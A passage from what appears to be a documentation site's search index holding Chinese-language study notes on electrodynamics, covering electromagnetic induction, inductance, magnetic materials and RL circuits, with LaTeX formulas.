<p>\u6d4b\u4e0d\u51c6\u539f\u7406\u662f\u6307\u5728\u91cf\u5b50\u529b\u5b66\u4e2d\uff0c\u7c92\u5b50\u7684\u4f4d\u7f6e\u548c\u52a8\u91cf\u4e0d\u80fd\u540c\u65f6\u88ab\u7cbe\u786e\u6d4b\u91cf\u3002\u8fd9\u610f\u5473\u7740\uff0c\u5982\u679c\u6211\u4eec\u8bd5\u56fe\u7cbe\u786e\u6d4b\u91cf\u7c92\u5b50\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48\u5b83\u7684\u52a8\u91cf\u5c31\u4f1a\u53d8\u5f97\u4e0d\u786e\u5b9a\uff0c\u53cd\u4e4b\u4ea6\u7136\u3002</p> \\[     \\Delta x \\Delta p \\geq \\frac{\\hbar}{2} \\] <p>\u540c\u6837\u80fd\u91cf\u548c\u65f6\u95f4\u4e5f\u6709\u8fd9\u6837\u7684\u5173\u7cfb</p> \\[     \\Delta E \\Delta t \\geq \\frac{\\hbar}{2} \\]"},{"location":"NOTE/Physics/electrodynamincs/","title":"\u7535\u52a8\u529b\u5b66","text":"<p> \u7ea6 3331 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p>"},{"location":"NOTE/Physics/electrodynamincs/#_2","title":"\u6cd5\u62c9\u7b2c\u7535\u78c1\u611f\u5e94\u5b9a\u5f8b","text":"\\[     \\Phi = \\int_S \\boldsymbol{B} \\cdot d\\boldsymbol{S} \\] \\[     \\varepsilon = -\\frac{d\\Phi}{dt} \\] <p>Key-point</p> <p>\u695e\u6b21\u5b9a\u5f8b\u5df2\u7ecf\u8574\u542b\u5728\"-\"\u53f7\u4e2d,\u695e\u6b21\u5b9a\u5f8b\u662f\u80fd\u91cf\u5b88\u6052\u5b9a\u5f8b\u5728\u7535\u78c1\u611f\u5e94\u4e2d\u7684\u4f53\u73b0</p>"},{"location":"NOTE/Physics/electrodynamincs/#_3","title":"\u52a8\u751f\u7535\u52a8\u52bf","text":"<p>\u7535\u8377\u53d7\u5230\u7684\u975e\u9759\u7535\u529b</p> \\[     \\boldsymbol{f} = q(\\boldsymbol{v} \\times \\boldsymbol{B}) \\] <p>\u5b9e\u9645\u4e0a\u8fd9\u4e2a\u662f\u6d1b\u4f26\u5179\u529b\u7684\u5206\u91cf</p> <p>Proof</p> <p>  \u514b\u670d\u6d1b\u4f26\u5179\u529b\u7684\u5206\u91cf\u505a\u529f\u8f6c\u5316\u4e3a\u975e\u9759\u7535\u529b\u505a\u529f,\u6d1b\u4f26\u5179\u529b\u603b\u7684\u4e0d\u505a\u529f</p> \\[     V=v+v_d \\enspace F=N+f \\] \\[     F=qVB \\] \\[     dW_N=N (vdt)=F\\sin\\theta vdt=Fvdt\\dfrac{v_d}{V}=F\\dfrac{v}{V}(v_d dt)=F\\cos\\theta v_d dt=fv_d dt=dW_f \\] <p>\u52a8\u751f\u7535\u52a8\u52bf</p> \\[     \\varepsilon =\\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l}=\\oint \\dfrac{\\boldsymbol{f}}{q}d\\boldsymbol{l}= \\oint (\\boldsymbol{v} \\times \\boldsymbol{B}) \\cdot d\\boldsymbol{l} \\] <p>\u53d1\u7535\u673a</p> \\[     \\Phi = \\boldsymbol{B} \\cdot \\boldsymbol{S} =BS\\cos\\theta=BA\\cos\\omega t \\] \\[     \\varepsilon = -\\dfrac{d\\Phi}{dt} = BA\\omega\\sin\\omega t \\]"},{"location":"NOTE/Physics/electrodynamincs/#_4","title":"\u611f\u751f\u7535\u52a8\u52bf","text":"<p>\u6da1\u65cb\u7535\u6d41</p> \\[     \\varepsilon = \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] <p>Proof</p> <p>\u505a\u529f\u76f8\u7b49</p> \\[     \\varepsilon q_0=q_0 E_{induce} l \\] \\[     \\varepsilon = E_{induce} l \\] \\[     \\varepsilon = \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} \\] <p>\u8fd9\u63d0\u4f9b\u4e86\u4e00\u79cd\u6c42\u51fa\u611f\u751f\u7535\u573a\u7684\u65b9\u6cd5</p> <p>Example</p> <p> </p> <p>\u78c1\u573a\u9759\u6b62\uff0c\u52a8\u751f\u7535\u52a8\u52bf\\(\\varepsilon=BDv\\)</p> <p>\u78c1\u573a\u8fd0\u52a8\uff0c\u611f\u751f\u7535\u52a8\u52bf</p> \\[     \\varepsilon=\\oint E dl=ED=BDv \\] \\[     E=v \\times B \\] <p>\u53d8\u5316\u7684\u78c1\u573a</p> \\[     \\varepsilon = -\\frac{d\\Phi}{dt}=-A \\frac{dB}{dt} \\] <p>\u63a8\u5e7f\u7535\u573a\u73af\u8def\u5b9a\u5f8b</p> \\[     \\oint (\\boldsymbol{E_{sta}+E_{ind}}) \\cdot d\\boldsymbol{l} =0+( -\\frac{d\\Phi}{dt}) \\] \\[     \\Phi = \\iint \\boldsymbol{B} \\cdot d\\boldsymbol{S} \\] \\[     \\oint \\boldsymbol{E} \\cdot d\\boldsymbol{l} = -\\frac{d\\Phi}{dt}= - \\iint \\frac{\\partial \\boldsymbol{B}}{\\partial t} \\cdot d\\boldsymbol{S} \\] <p>\u8fd0\u7528stokes\u516c\u5f0f</p> \\[   \\nabla \\times \\boldsymbol{E} = -\\frac{\\partial \\boldsymbol{B}}{\\partial t} \\] <p>Danger</p> <p>\u5728\u6da1\u65cb\u7535\u573a\u4e2d\uff0c\u73af\u8def\u79ef\u5206\u5e76\u4e0d\u662f0\uff0c\u6240\u4ee5\u5728\u6da1\u65cb\u7535\u573a\u4e2d\u4e0d\u80fd\u4f7f\u7528\u7535\u52bf\u7684\u6982\u5ff5</p>"},{"location":"NOTE/Physics/electrodynamincs/#_5","title":"\u7535\u611f","text":""},{"location":"NOTE/Physics/electrodynamincs/#_6","title":"\u4e92\u611f","text":"<p>\\(i_1\\)\u4ea7\u751f\u7684\u78c1\u573a\u4f1a\u4f7f\u5f97\\(s_2\\)\u611f\u5e94\u51fa\\(\\varepsilon_2\\)</p> <p>\\(i_2\\)\u4ea7\u751f\u7684\u78c1\u573a\u4f1a\u4f7f\u5f97\\(s_1\\)\u611f\u5e94\u51fa\\(\\varepsilon_1\\)</p> <p>\u7531\\(s_1\\)\u5728\\(s_2\\)\u4e0a\u5bfc\u81f4\u7684\u78c1\u901a\u531d\u94fe\u6570</p> \\[     \\Psi_{12} \\propto N_2A_2B_1 \\propto N_2\\Phi_1 = M_{12}i_1 \\] <p>\u7531\\(s_2\\)\u5728\\(s_1\\)\u4e0a\u5bfc\u81f4\u7684\u78c1\u901a\u531d\u94fe\u6570</p> \\[     \\Psi_{21} \\propto N_1A_1B_2 \\propto N_1\\Phi_2 = M_{21}i_2 \\] \\[ M_{12} = \\frac{\\Psi_{12}}{i_1} = \\frac{N_2 \\Phi_{12}}{i_1}; \\quad \\varepsilon_2 = -\\frac{d\\Psi_{12}}{dt} = -M_{12} \\frac{di_1}{dt}, \\quad (i_1 \\text{ change}) \\] \\[ M_{21} = \\frac{\\Psi_{21}}{i_2} = \\frac{N_1 \\Phi_{21}}{i_2}; \\quad \\varepsilon_1 = -\\frac{d\\Psi_{21}}{dt} = -M_{21} \\frac{di_2}{dt}, \\quad (i_2 \\text{ change}) \\] <p>\u4e92\u611f\u7cfb\u6570</p> <p>\u5982\u4e0a\u7684\\(M_{12}\\)\u548c\\(M_{21}\\)\u5c31\u662f\u88ab\u79f0\u4e3a\u4e92\u611f\u7cfb\u6570\uff0c\u5355\u4f4d\u4e3a\u4ea8\u5229(Hery)</p> \\[     1H=1\\dfrac{Wb}{A} \\] <p>\u5e38\u89c1\u7684\u6709\\(mH,\\mu H\\)\u7b49</p>"},{"location":"NOTE/Physics/electrodynamincs/#_7","title":"\u81ea\u611f","text":"<p>\u7c7b\u4f3c\u7684\u6709</p> \\[     \\Psi = NBA =Li \\] \\[     \\varepsilon_{L}= -\\dfrac{d\\Psi}{dt}=-L\\dfrac{di}{dt} =V_b-V_a \\] <p>\u5176\u4e2d\\(L\\)\u88ab\u79f0\u4e3a\u81ea\u611f\u7cfb\u6570</p>"},{"location":"NOTE/Physics/electrodynamincs/#_8","title":"\u901a\u7535\u87ba\u7ebf\u7ba1\u7684\u81ea\u611f\u7cfb\u6570","text":"<p>\\(n\\)\u4e3a\u5355\u4f4d\u957f\u5ea6\u7684\u531d\u6570</p> <p>\u78c1\u573a\u5f3a\u5ea6</p> \\[  B = \\mu_0 n i  \\] <p>\u78c1\u901a\u531d\u94fe\u6570</p> \\[ \\psi = N \\Phi_B = n l BA = \\mu_0 n^2 i l A  \\] <p>\u81ea\u611f\u7cfb\u6570</p> \\[ L = \\frac{\\psi}{i} = \\mu_0 n^2 l A = \\mu_0 n^2 V  \\] <p>\u5355\u4f4d\u4f53\u79ef\u7684\u81ea\u611f\u7cfb\u6570</p> \\[ L_v = \\frac{L}{V} = \\mu_0 n^2  \\] <p>\u5355\u4f4d\u957f\u5ea6\u7684\u81ea\u611f\u7cfb\u6570</p> \\[ L_l = \\frac{L}{l} = \\mu_0 n^2 A  \\]"},{"location":"NOTE/Physics/electrodynamincs/#_9","title":"\u957f\u65b9\u5f62\u622a\u9762\u87ba\u7ed5\u73af","text":"\\[ \\int \\mathbf{B} \\cdot d\\mathbf{l} = \\mu_0 Ni \\] \\[ B = \\frac{\\mu_0 i N}{2 \\pi r} \\] \\[ \\Phi_B = \\int \\int \\mathbf{B} \\cdot d\\mathbf{A} = \\int_a^b \\frac{\\mu_0 i N}{2 \\pi r} h dr \\] \\[ = \\frac{\\mu_0 i N h}{2 \\pi} \\int_a^b \\frac{dr}{r} = \\frac{\\mu_0 i N h}{2 \\pi} \\ln \\frac{b}{a} \\] \\[ \\therefore L = \\frac{N \\Phi_B}{i} = \\frac{\\mu_0 N^2 h}{2 \\pi} \\ln \\frac{b}{a} \\]"},{"location":"NOTE/Physics/electrodynamincs/#_10","title":"\u540c\u8f74\u7535\u7f06","text":"\\[ \\int \\mathbf{B} \\cdot d\\mathbf{l} = \\mu_0 i, \\] \\[ B = \\frac{\\mu_0 i}{2 \\pi r} \\] \\[ \\Phi_B = \\iint \\mathbf{B} \\cdot d\\mathbf{A} = \\int_{R_1}^{R_2} Bl \\, dr \\] \\[ = \\frac{\\mu_0 il}{2 \\pi} \\int_{R_1}^{R_2} \\frac{dr}{r} = \\frac{\\mu_0 il}{2 \\pi} \\ln\\left(\\frac{R_2}{R_1}\\right) \\] \\[ \\therefore L = \\frac{\\Phi_B}{i} = \\frac{\\mu_0l}{2 \\pi} \\ln\\left(\\frac{R_2}{R_1}\\right) \\]"},{"location":"NOTE/Physics/electrodynamincs/#_11","title":"\u7ebf\u5708\u62fc\u63a5","text":"<p>\u5176\u4e92\u611f\u7cfb\u6570\u4e3a</p> \\[     M=\\sqrt{L_1L_2} \\] <p>\u81ea\u611f\u7cfb\u6570\u4e3a</p> <p>\u987a\u63a5</p> \\[     L=L_1+L_2+2M \\] <p>\u53cd\u63a5</p> \\[     L=L_1+L_2-2M \\]"},{"location":"NOTE/Physics/electrodynamincs/#_12","title":"\u6750\u6599\u7684\u78c1\u6027\u8d28","text":"<p>\u5728\u7535\u5bb9\u5668\u4e2d\u95f4\u63d2\u5165\u7535\u4ecb\u8d28\uff0c\u53ef\u4ee5\u8ba9\u7535\u5bb9\u589e\u5927</p> \\[     C=\\kappa_e C_0 \\] <p>\u5728\u901a\u7535\u87ba\u7ebf\u7ba1\u4e2d\u63d2\u5165\u94c1\u78c1\u6750\u6599\uff0c\u540c\u6837\u53ef\u4ee5\u4e3a\u81ea\u611f\u7cfb\u6570\u589e\u5927</p> \\[     L=\\kappa_m L_0 \\] <p>\u5176\u4e2d\\(\\kappa_m\\)\u88ab\u79f0\u4e3a\u78c1\u5bfc\u7387</p> <p>\u5bf9\u4e8e\u987a\u78c1\u6027\u6750\u6599\uff0c\u5176\u78c1\u5bfc\u7387\u7ea6\u4e3a1\uff1b\u5bf9\u4e8e\u94c1\u78c1\u6027\u6750\u6599\uff0c\u5176\u78c1\u5bfc\u7387\u8fdc\u5927\u4e8e1(\\(10^3 \\sim 10^4\\))</p>"},{"location":"NOTE/Physics/electrodynamincs/#_13","title":"\u4ef7\u7535\u5b50\u7684\u78c1\u5076\u6781\u77e9","text":"\\[ \\mu = iA \\] \\[ i = \\frac{e}{T} = \\frac{e}{2\\pi r/v} = \\frac{ev}{2\\pi r} \\] \\[ \\therefore \\mu = iA = \\frac{ev}{2\\pi r} \\cdot \\left(\\pi r^2\\right) = \\frac{1}{2} erv \\] <p>\u89d2\u52a8\u91cf\u4e3a</p> \\[ L = mvr \\] <p>\u6240\u4ee5</p> \\[     \\boldsymbol{\\mu_l}=-\\dfrac{e}{2m}\\boldsymbol{L} \\] \\[     \\boldsymbol{L}=\\sqrt{L(L+1)}\\dfrac{h}{2\\pi}=\\sqrt{L(L+1)}\\hbar \\]"},{"location":"NOTE/Physics/electrodynamincs/#_14","title":"\u81ea\u65cb\u7684\u78c1\u5076\u6781\u77e9","text":""},{"location":"NOTE/Physics/electrodynamincs/#_15","title":"\u81ea\u65cb\u89d2\u52a8\u91cf","text":"Particle Spin Type Electron \\( s = \\frac{1}{2} \\hbar \\) Fermi Proton \\( s = \\frac{1}{2} \\hbar \\) Fermi Neutron \\( s = \\frac{1}{2} \\hbar \\) Fermi Deuteron \\( s = \\hbar \\) Bose Alpha Particle \\( s = 0 \\) Bose <p>Note</p> <p>\\(\\hbar=\\dfrac{h}{2\\pi}\\) \u4e3a\u7ea6\u5316\u666e\u6717\u514b\u5e38\u6570</p>"},{"location":"NOTE/Physics/electrodynamincs/#_16","title":"\u81ea\u65cb\u78c1\u77e9","text":"\\[     \\boldsymbol{\\mu_s}=-\\dfrac{e}{m}\\boldsymbol{S} \\] <p>Key-point</p> <p>\u603b\u78c1\u77e9</p> \\[     \\boldsymbol{\\mu}=\\boldsymbol{\\mu_l}+\\boldsymbol{\\mu_s}=-\\dfrac{e}{2m}\\boldsymbol{J} \\] \\[     \\boldsymbol{J}=\\boldsymbol{L}+2\\boldsymbol{S} \\]"},{"location":"NOTE/Physics/electrodynamincs/#m","title":"\u78c1\u5316\u5f3a\u5ea6\\(M\\)","text":"<p>\u5728\u7535\u5bb9\u90e8\u5206\uff0c\u6211\u4eec\u5f15\u5165\u4e86\u6781\u5316\u5f3a\u5ea6\\(P\\)\uff0c\u5728\u78c1\u573a\u90e8\u5206\uff0c\u6211\u4eec\u4e5f\u7c7b\u4f3c\u7684\u5f15\u5165\u78c1\u5316\u5f3a\u5ea6\\(M\\)\u7528\u4e8e\u523b\u753b\u78c1\u6027\u6750\u6599\u7684\u78c1\u6027\u8d28</p> <p>\u5411\u901a\u7535\u87ba\u7ebf\u7ba1\u4e2d\u63d2\u5165\u94c1\u78c1\u6750\u6599\uff0c\u539f\u672c\u6742\u4e71\u65e0\u7ae0\u7684\u5206\u5b50\u78c1\u77e9\u4f1a\u53d7\u5230\u78c1\u573a\u7684\u4f5c\u7528\uff0c\u4f7f\u5f97\u78c1\u77e9\u65b9\u5411\u8d8b\u4e8e\u4e00\u81f4\uff0c\u671d\u5411\u78c1\u573a\u65b9\u5411\uff0c\u5728\u5b8f\u89c2\u4e0a\u76f8\u5f53\u4e8e\u5728\u6750\u6599\u5916\u56f4\u4ea7\u751f\u4e86\u4e00\u4e2a\u7535\u6d41</p> <p>\u6b64\u65f6\u78c1\u573a\u88ab\u589e\u5f3a</p> \\[     \\boldsymbol{B}=\\boldsymbol{B_0}+\\boldsymbol{B'_{M}} \\] <p>\u78c1\u5316\u5f3a\u5ea6\u77e2\u91cf</p> <p>\u6211\u4eec\u5b9a\u4e49\u78c1\u5316\u5f3a\u5ea6\u77e2\u91cf\\(\\boldsymbol{M}\\)\u4e3a\u5355\u4f4d\u4f53\u79ef\u5185\u78c1\u77e9\u7684\u77e2\u91cf\u548c\uff0c\u5373</p> \\[     \\boldsymbol{M}=\\dfrac{\\sum \\boldsymbol{\\mu}}{V} \\] <p>\u6211\u4eec\u4e5f\u5e0c\u671b\u78c1\u5316\u5f3a\u5ea6\u77e2\u91cf\u6709\u7c7b\u4f3c\u4e8e\u6781\u5316\u5f3a\u5ea6\u77e2\u91cf\u7684\u6027\u8d28\uff0c\u5373</p> \\[     \\oint \\boldsymbol{M} \\cdot d\\boldsymbol{l} = \\sum i_{in}  \\enspace  (\\oiint \\boldsymbol{P} \\cdot d\\boldsymbol{A} = -\\sum q_{in}) \\] \\[     \\boldsymbol{M} \\cdot \\boldsymbol{n} = j' \\enspace (\\boldsymbol{P} \\cdot \\boldsymbol{n} = \\sigma_{surf}) \\] <p>\u7ea2\u8272\u7684\u662f\u7535\u6d41\uff0c\u7535\u6d41\u9762\u5bc6\u5ea6\u4e3a</p> \\[ j' = \\frac{i}{\\Delta z} \\] <p>\u53ea\u7528\u9664\u4ee5\\(\\Delta z\\)\u662f\u56e0\u4e3a\u6211\u4eec\u53ea\u8003\u8651\u5230\u4e86\u8868\u9762\u7684\u7535\u6d41\uff0c\u5373\u5176\u5411\\(y\\)\u7684\u65b9\u5411\u662f\u6ca1\u6709\u7684</p> \\[ \\Delta m = i' \\cdot \\Delta A = j' \\Delta x \\Delta y \\Delta z \\] \\[ M = \\frac{\\Delta m}{\\Delta V} = j' \\] \\[ M \\cdot \\Delta z = i' \\]"},{"location":"NOTE/Physics/electrodynamincs/#_17","title":"\u78c1\u573a\u5f3a\u5ea6","text":"<p>\u7531\u73af\u8def\u5b9a\u5f8b</p> \\[ \\oint_L \\boldsymbol{B} \\cdot d\\boldsymbol{l} = \\mu_0 \\sum_{inL} (i_0 + i') = \\mu_0 \\sum_{inL} i_0 + \\mu_0 \\oint_L \\boldsymbol{M} \\cdot d\\boldsymbol{l} \\] \\[ \\oint_L \\left( \\frac{\\boldsymbol{B}}{\\mu_0} - \\boldsymbol{M} \\right) \\cdot d\\boldsymbol{l} = \\sum_{inL} i_0 \\] <p>\u5b9a\u4e49\u78c1\u573a\u5f3a\u5ea6\u4e3a</p> \\[    \\boldsymbol{H} = \\frac{\\boldsymbol{B}}{\\mu_0} - \\boldsymbol{M} \\] <p>Note</p> <p>\u78c1\u5316\u5f3a\u5ea6\u548c\u78c1\u573a\u5f3a\u5ea6\u7684\u5173\u7cfb\u4e3a</p> \\[     \\boldsymbol{M}= \\chi_m \\boldsymbol{H} \\] <p>\u90a3\u4e48</p> \\[     \\boldsymbol{B}=\\mu_0(\\boldsymbol{H}+\\boldsymbol{M})=\\mu_0(1+\\chi_m)\\boldsymbol{H}= \\mu_0 \\kappa_m \\boldsymbol{H} \\] <p>\u5219 \\(\\kappa_m=1+\\chi_m\\) </p> <p>Example</p> <p>\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230</p> <p> </p> \\[    \\oint_L \\boldsymbol{H} \\cdot d\\boldsymbol{l} = \\sum_{inL} i_0 \\] \\[     \\boldsymbol{H} \\cdot \\Delta \\boldsymbol{l} = N i_0 \\ \\Rightarrow \\ H = n i_0 \\] \\[     B = \\mu_0 \\kappa_m H = \\mu_0 \\kappa_m n i_0 = \\kappa_m B_0 \\] <p>Idea</p> <p>\u4ee5\u8fd9\u6837\u7684\u89d2\u5ea6\u6765\u770b\uff0c\u78c1\u573a\u5f3a\u5ea6\\(H\\)\u548c\u7535\u573a\u5f3a\u5ea6\\(E\\)\uff0c\u78c1\u611f\u5e94\u5f3a\u5ea6\\(B\\)\u548c\u7535\u611f\u5e94\u5f3a\u5ea6\\(D\\)\u7684\u5173\u7cfb\u53c8\u662f\u53ef\u4ee5\u5bf9\u5e94\u7684</p> \\[     D = \\varepsilon_0 E+P=\\varepsilon_0 \\kappa_e E \\] \\[     B = \\mu_0(H+M)=\\mu_0 \\kappa_m H \\]"},{"location":"NOTE/Physics/electrodynamincs/#_18","title":"\u78c1\u5316\u7387\u4e0e\u78c1\u5bfc\u7387","text":"\u987a\u78c1 \u6297\u78c1 \u94c1\u78c1 \\(\\chi_m\\) \u5927\u4e8e0\u4f46\u662f\u5c0f(\\(10^{-6}\\)) \u5c0f\u4e8e0\u4f46\u7edd\u5bf9\u503c\u8fdc\u5c0f\u4e8e1 \u4e0e\u78c1\u573a\u5f3a\u5ea6\u6709\u5173 \\(\\kappa_m\\) \u5927\u4e8e1\u4f46\u662f\u63a5\u8fd11 \u5c0f\u4e8e1\u4f46\u662f\u63a5\u8fd11 \u4e0e\u78c1\u573a\u5f3a\u5ea6\u6709\u5173(\\(10^2 \\sim 10^3\\))"},{"location":"NOTE/Physics/electrodynamincs/#_19","title":"\u5fae\u89c2\u89e3\u91ca","text":""},{"location":"NOTE/Physics/electrodynamincs/#paramegnetic-material","title":"\u987a\u78c1\u6750\u6599(paramegnetic material)","text":"<p>\u539f\u672c\u6742\u4e71\u65e0\u7ae0\u7684\u78c1\u77e9\uff0c\u5728\u5916\u78c1\u573a\u4e0b\uff0c\u6750\u6599\u5185\u90e8\u7684\u78c1\u77e9\u4f1a\u671d\u5411\u78c1\u573a\u65b9\u5411,\u4f46\u662f\u4e0e\u6e29\u5ea6\u6709\u5173</p> <p>\u5c45\u91cc\u5b9a\u5f8b</p> \\[     \\boldsymbol{M}=\\chi_m\\boldsymbol{H} \\enspace \\chi_m = \\dfrac{C}{T} \\] <p>\u5176\u4e2d\\(C\\)\u4e3a\u5c45\u91cc\u5e38\u6570\uff0c\\(T\\)\u4e3a\u6e29\u5ea6</p> <p>\u987a\u78c1\u6027\u7684\u78c1\u5316\u7387\u5f88\u5c0f\uff0c\u78c1\u5316\u5f3a\u5ea6\u4e5f\u5f88\u5c0f\uff0c\u5bf9\u78c1\u573a\u7684\u5f71\u54cd\u5f88\u5c0f</p>"},{"location":"NOTE/Physics/electrodynamincs/#diamagnetic-material","title":"\u6297\u78c1\u6750\u6599(diamagnetic material)","text":"<p>\u6297\u78c1\u6750\u6599\u5728\u6ca1\u6709\u5916\u78c1\u573a\u7684\u60c5\u51b5\u4e0b\uff0c\u5185\u90e8\u603b\u78c1\u77e9\u4e3a0;\u5373\uff1a</p> \\[     \\boldsymbol{\\mu}=\\boldsymbol{0} \\enspace \\boldsymbol{J}=\\boldsymbol{0} \\] <p>\u539f\u672c\u7535\u5b50\u78c1\u77e9\u76f8\u6d88\uff0c\u52a0\u4e0a\u5916\u78c1\u573a\u540e\uff0c\u7535\u53d7\u5230\u6d1b\u4f26\u5179\u529b\uff0c\u4e0d\u7ba1\u5b83\u662f\u88ab\u52a0\u901f\u8fd8\u662f\u88ab\u51cf\u901f\uff0c\u90fd\u4f1a\u4ea7\u751f\u4e00\u4e2a\u4e0e\u5916\u78c1\u573a\u65b9\u5411\u76f8\u53cd\u7684\u78c1\u77e9(\u6297\u78c1);</p> \\[ \\frac{Ze^2}{4\\pi \\varepsilon_0 r^2} = m \\omega_0^2 r \\] \\[ \\omega_0 = \\left( \\frac{Ze^2}{4\\pi \\varepsilon_0 m r^3} \\right)^{1/2} \\] \\[ \\frac{Ze^2}{4\\pi \\varepsilon_0 r^2} + e \\omega r B = m \\omega^2 r \\] \\[ \\omega = \\omega_0 + \\Delta \\omega \\] \\[ \\Delta \\omega = \\frac{eB}{2m} \\] <p>\u589e\u52a0\u7684\u529b\u4e0e\u5e93\u4ed1\u529b\u76f8\u6bd4\u8981\u5c0f\u7684\u591a\uff0c\u4ea7\u751f\u7684\u78c1\u573a\u4e5f\u6bd4\u987a\u78c1\u6750\u6599\u611f\u5e94\u7684\u78c1\u573a\u5c0f\u5f97\u591a\uff0c\u5bf9\u8f68\u9053\u534a\u5f84\u51e0\u4e4e\u6ca1\u6709\u5f71\u54cd</p> <p>\u5176\u78c1\u77e9\u7684\u53d8\u5316\u4e3a</p> \\[ u = iA = \\frac{ev}{2\\pi r} \\left( \\pi r^2 \\right) = \\frac{1}{2} evr = \\frac{e r^2}{2} \\omega, \\quad \\boldsymbol{\\mu_0} = -\\frac{e r^2}{2} \\boldsymbol{\\omega_0} \\] \\[ \\Delta \\boldsymbol{\\mu} = -\\frac{e r^2}{2} \\Delta \\boldsymbol{\\omega} = -\\frac{e^2 r^2}{4m} \\boldsymbol{B} \\]"},{"location":"NOTE/Physics/electrodynamincs/#ferromagnetic-material","title":"\u94c1\u78c1\u6750\u6599(ferromagnetic material)","text":"<p>\u521d\u59cb\u7684\\(\\mu \\neq 0\\),\u4e14\u8fd1\u90bb\u539f\u5b50\u78c1\u77e9\u95f4\u5b58\u5728\u5f3a\u76f8\u4e92\u4f5c\u7528</p> <p>\u78c1\u5316\u5f3a\u5ea6\u77e2\u91cf\u4e0e\u6e29\u5ea6\u7684\u5173\u7cfb</p> <p>\u5c45\u91cc-\u7ef4\u65af\u5b9a\u7406</p> \\[     \\chi_m=\\dfrac{C}{T-\\theta} \\]"},{"location":"NOTE/Physics/electrodynamincs/#_20","title":"\u78c1\u7574","text":"<p>\u5373\u4f7f\u5728\u6ca1\u6709\u5916\u52a0\u78c1\u573aB\u7684\u60c5\u51b5\u4e0b\uff0c\u78c1\u6027\u6750\u6599\u4e2d\u7684\u78c1\u5076\u6781\u5b50\uff08\u78c1\u6027\u5c0f\u533a\u57df\uff09\u4e5f\u4f1a\u503e\u5411\u4e8e\u5728\u5c0f\u8303\u56f4\u5185\u5f3a\u70c8\u5730\u6392\u5217\u6210\u7279\u5b9a\u7684\u65b9\u5411\uff0c\u5f62\u6210\u6240\u8c13\u7684\u201c\u78c1\u7574\u201d\u3002\u5f53\u65bd\u52a0\u5916\u90e8\u78c1\u573a\u65f6\uff0c\u8fd9\u4e9b\u78c1\u7574\u4f1a\u91cd\u65b0\u6392\u5217\uff0c\u4f7f\u5f97\u5b83\u4eec\u7684\u65b9\u5411\u4e00\u81f4\uff0c\u4ece\u800c\u4ea7\u751f\u5927\u7684\u51c0\u78c1\u5316\u5f3a\u5ea6\u3002</p> <ul> <li> <p>\u8f6f\u94c1\u78c1\u4f53\uff1a\u6307\u7684\u662f\u5bb9\u6613\u88ab\u78c1\u5316\u548c\u9000\u78c1\u7684\u78c1\u6027\u6750\u6599\u3002\u5b83\u4eec\u5728\u5916\u90e8\u78c1\u573a\u4f5c\u7528\u4e0b\u78c1\u7574\u4f1a\u6709\u5e8f\u6392\u5217\uff0c\u4f46\u78c1\u573a\u79fb\u9664\u540e\u78c1\u7574\u4f1a\u5f88\u5feb\u968f\u673a\u5316\u3002</p> </li> <li> <p>\u786c\u94c1\u78c1\u4f53\uff1a\u6307\u7684\u662f\u4e0d\u6613\u88ab\u9000\u78c1\u7684\u78c1\u6027\u6750\u6599\uff0c\u4f8b\u5982\u67d0\u4e9b\u7279\u6b8a\u5408\u91d1\u3002\u5b83\u4eec\u5728\u5916\u90e8\u78c1\u573a\u79fb\u9664\u540e\u4ecd\u80fd\u4fdd\u6301\u78c1\u7574\u7684\u6709\u5e8f\u6392\u5217\uff0c\u56e0\u6b64\u5177\u6709\u8f83\u5f3a\u7684\u78c1\u6027\u3002</p> </li> <li> <p>\u6c38\u4e45\u78c1\u4f53\uff1a\u901a\u5e38\u6307\u6c38\u4e45\u4fdd\u6301\u78c1\u6027\u7684\u6750\u6599\uff0c\u4f8b\u5982\u7a00\u571f\u78c1\u94c1\u3002\u5b83\u4eec\u7684\u78c1\u7574\u5728\u6ca1\u6709\u5916\u529b\u4f5c\u7528\u4e0b\u4e0d\u4f1a\u968f\u673a\u5316\uff0c\u4f46\u53ef\u4ee5\u901a\u8fc7\u65bd\u52a0\u5916\u529b\uff08\u5982\u78c1\u573a\u6216\u9707\u52a8\uff09\u6765\u6539\u53d8\u78c1\u7574\u7684\u65b9\u5411\u3002</p> </li> <li> <p>\u5c45\u91cc\u70b9\uff1a\u662f\u78c1\u6027\u6750\u6599\u7684\u4e00\u4e2a\u7269\u7406\u7279\u6027\uff0c\u6307\u7684\u662f\u6750\u6599\u7531\u94c1\u78c1\u6027\u53d8\u4e3a\u987a\u78c1\u6027\u7684\u8f6c\u53d8\u6e29\u5ea6\u3002\u5bf9\u4e8e\u94c1\u6765\u8bf4\uff0c\u8fd9\u4e2a\u6e29\u5ea6\u662f770\u6444\u6c0f\u5ea6\u3002</p> </li> </ul>"},{"location":"NOTE/Physics/electrodynamincs/#rl-","title":"RL-\u56de\u8def","text":"<p>RC\u56de\u8def</p> <p> </p> \\[ iR + \\frac{q}{C} = \\epsilon \\] \\[ \\frac{dq}{dt} + \\frac{1}{RC} q = \\frac{\\epsilon}{R} \\] \\[ q = C\\epsilon\\left(1 - e^{-t/RC}\\right) \\]"},{"location":"NOTE/Physics/electrodynamincs/#a","title":"\u5f00\u5173\u6253\u5230a","text":"\\[ iR + L \\frac{di}{dt} = \\varepsilon \\] \\[ \\frac{di}{dt} = \\frac{1}{L} \\left( \\varepsilon - iR \\right) = -\\frac{R}{L} \\left( i - \\frac{\\varepsilon}{R} \\right) \\] \\[ i - \\frac{\\varepsilon}{R} = C'e^{-\\frac{R}{L}t} \\] <p>When \\( t = 0, i = 0 \\), thus \\( C' = -\\frac{\\varepsilon}{R} \\).</p> <p>\u6240\u4ee5</p> \\[ i = \\frac{\\varepsilon}{R}\\left(1 - e^{-\\frac{R}{L}t}\\right) = \\frac{\\varepsilon}{R}\\left(1 - e^{-\\frac{t}{\\tau_L}}\\right) \\] \\[ \\tau_L = \\frac{L}{R} \\] \\[ V_L = -L \\frac{di}{dt} = -\\varepsilon e^{-\\frac{t}{\\tau_L}} \\] <p>\u65f6\u95f4\u5e38\u6570\\(\\frac{R}{L}\\)</p> <p>\u5bf9\u4e8e\u7535\u6d41</p> \\[     i = \\dfrac{\\varepsilon}{R}(1-e^{-\\frac{-Rt}{L}}) \\] 